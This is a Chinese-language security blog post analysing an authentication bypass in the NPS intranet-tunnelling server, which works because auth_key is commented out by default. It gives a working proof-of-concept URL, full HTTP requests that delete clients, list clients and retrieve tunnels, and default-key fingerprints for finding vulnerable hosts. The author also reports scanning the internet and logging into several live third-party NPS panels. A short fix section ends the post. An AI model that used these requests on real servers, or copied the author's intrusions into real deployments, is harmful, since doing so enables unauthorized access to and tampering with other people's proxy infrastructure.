NPS反制之绕过登陆验证

1
NPS- 一款轻量级、高性能、功能强大的内网穿透代理服务器

1.前言

看了师傅的一个文章,感觉挺有意思的,尝试记录下来,结尾有”惊吓”

GitHub下载NPS的releases:https://github.com/ehang-io/nps/releases/tag/v0.26.10

为了本地测试使用,只下载Windows的server端和NPS的源码到本地。

内网穿透代理工具诸如frp、nps、 reGeorg等,各有千秋吧,我个人用的nps比较多。

2.NPS

解压nps之后,会有一个conf和web文件夹、以及一个nps的可执行程序

image-20230601111848114

1
2
conf:可配置文件,可修改ip、端口、登陆密码等
web:nps中web管理系统的静态资源文件

直接进入nps目录,运行nps

image-20230601112209248

在配置文件conf中,有IP、端口、以及默认用户名口令admin/123,(默认用户名口令一定要改),默认端口8080也建议更改。

直接访问nps后台,输入admin/123登陆后台

image-20230601112400201

进入后台首页:

image-20230601113512283

客户端模块,配置隧道、在npc端机器运行命令即可”上线”

image-20230601121323565

3.默认配置-绕过登陆验证

正常情况下,NPS需要登陆之后才可进行后续操作,但是NPS中有默认配置,假如未修改默认配置的话,我们就可以绕过身份验证访问后台。

打开NPS的源码文件,在web目录下的controllers目录(和php有些类似)

image-20230601122046911

在base.go文件中,第36行代码处

image-20230601122804139

条件判断的大概意思就是如果md5key值不为空并且当前时间戳与给定的timestamp之间的差小于等于20,并且通过对configKey和timestamp进行加密得到的结果与md5key相等,结果就是true

如果auth不为真,那就302跳转到登陆页,如果为真,那就作为模板数据传递。

整块代码的意思就是从请求中获取auth_key和timestamp、从配置文件中获取auth_key,并赋值给configKey

但是在nps.conf中,auth_key是注释掉的:

image-20230601124216245

所以我们只需要在请求中添加auth_key与timestamp,即可绕过身份验证(登陆成功跳转index/index)

POC:

1
index/index?auth_key=xxx&timestamp=xxx

通俗易懂的就是auth_key=md5(timestamp)

编写脚本获取POC:

image-20230601133530827

携带POC直接绕过登陆验证尝试访问后台(只有20S的时间,过期需重新生成)

image-20230601133516875

4.NPS反制

绕过登陆验证之后,可以在后台进行任意操作

查看客户端列表:

image-20230601151944330

修改配置:

image-20230601152051351

image-20230601152141505

image-20230601152153541

来个有意思的的:

image-20230601152254423

image-20230601152307610

后台所有的功能都可以携带auth_key和timestamp进行操作

删除客户端:

image-20230601152618658

删除id为2的客户端:

1
2
3
4
5
6
7
8
9
10
11
12
POST /client/del?auth_key=b57ab4e636cbaa4dda1a0256ae597080&timestamp=1685604329 HTTP/1.1
Host: xxx
Content-Length: 4
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

id=2

查询客户端列表:

1
2
3
4
5
6
7
8
9
10
11
12
POST /client/list?auth_key=83a737f7d232957e7a7821ff6091f149&timestamp=1685604434 HTTP/1.1
Host: xxx
Content-Length: 35
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

search=&order=asc&offset=0&limit=10

本地搭建的,npc端未设置,仅作测试用,师傅们想进行更多的操作,手动抓包测试即可。

5.分析

在nps中,路径下加auth/getauthkey可获取到加密后的crypt_auth_key

image-20230601153420062

这个加密后的crypt_auth_key就是默认的授权密钥,也就是加密后的密文,加密方式是AES算法的CBC模式

在nps.conf中,auth_crypt_key(密钥)是16位的,且默认的auth_crypt_key(密钥)是1234567812345678,所以经过AES加密之后的密文就是crypt_auth_key=5acabcf051cd55abca03d18294422e01,所以访问auth/getauthkey获取到的crypt_auth_key就是AES加密的密文,密钥就是auth_crypt_key的值(可随意更改、满足16位即可)

image-20230601153735016

有POC有针对于这个默认的授权密钥的,判断返回包里内容是否存在5acabcf051cd55abca03d18294422e01

image-20230601154137975

当时觉得单判断默认的crypt_auth_key是不严谨的,因为绕过登陆验证归根究底的原因是auth_key默认被注释掉了,所以说条件语句中只要携带了auth_key与timestamp两个参数并且满足条件就可以绕过登录认证。

image-20230601154415168

1
2
3
4
"crypt_auth_key": "5acabcf051cd55abca03d18294422e01"
#auth_key=test
auth_crypt_key =1234567812345678
crypt_auth_key密文是由明文test经过AES的CBC模式进行加密得到的,加密密钥是1234567812345678

(1)那么如果auth_key没有被注释,继续看看会怎么样

image-20230601163250488

crypt_auth_key已经不再是默认的5acabcf051cd55abca03d18294422e01,注释去掉之后的密文变成了04acf026285da15817ac9a072c1259ac,不存在绕过登陆验证,携带着POC访问后台,页面跳转到登录页

image-20230601164550182

(2) 如果auth_key被注释了,修改加密密钥auth_crypt_key,看看会怎么样:

image-20230601165213418

image-20230601165200175

密文同样改变,因为加密密钥改变,密文肯定变,尝试绕过登陆验证

image-20230601165318584

image-20230601165436097

成功绕过登陆验证,获取客户端列表🐓队。

综上所述:单说NPS啊,不提加密向量不一样什么的导致的加密结果不一样

1
2
3
4
加密密钥如果没被修改,auth_key=test有注释,那么密文一定是:5acabcf051cd55abca03d18294422e01 ---登陆绕过存在
加密密钥如果没被修改,auth_key=test取消注释,那么密文一定是:04acf026285da15817ac9a072c1259ac ---登陆绕过不存在
如果密钥被修改,auth_key=test有注释,那么密文一定不是上述这两个 ---登陆绕过存在
如果密钥被修改,auth_key=test取消注释,那么登陆绕过肯定不存在

所以说,POC还是有道理的,因为如果加密密钥是默认的1234567812345678,auth_key=test有注释,那么密文一定是5acabcf051cd55abca03d18294422e01,那么登陆绕过就一定存在

正反推

修复建议:去掉#auth_key=test的注释即可,想下载源代码重新编译的也可以,密钥也可以看个人情况修改什么的。

来一组互联网案例,用afrog编写POC(探测密文是5acabcf051cd55abca03d18294422e01),也就是说加密密钥未修改,auth_key=test有注释,一定存在登陆绕过的互联网案例

image-20230601234920898

在来一组成功绕过登陆进入后台的互联网案例,挺多的:

image-20230601235115359

image-20230601235233987

第二种反制手段就是注册,在nps.conf中,默认关闭注册功能以及注册用户登陆功能

image-20230602000848167

假如开启注册的话:

image-20230602001023922

首页就会出现注册按钮(默认情况下是没有的):

image-20230602001359311

尝试注册登陆:

image-20230602001043127

成功进入后台:需将allow_user_login=true,意为允许注册用户进行登陆,否则登录是不成功的

image-20230602001120767

虽然登陆成功,但是权限会少很多,起码可以修改(较登陆绕过鸡肋一点):

image-20230602001159794

以上就是个人的分析思路,如有不足,请见谅。

最后,你懂的(仅仅只做验证,并未进行敏感操作!!!):

image-20230602010608176

别找了,你想要的在下边:

1
2
3
4
5
6
7
8
9
10
11
12
POST /index/gettunnel?auth_key=5d712b45490f8ac1f630f9cce0a5e173&timestamp=1685638945 HTTP/1.1
Host: xxx
Content-Length: 35
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

offset=0&limit=10&type=&client_id=3&search=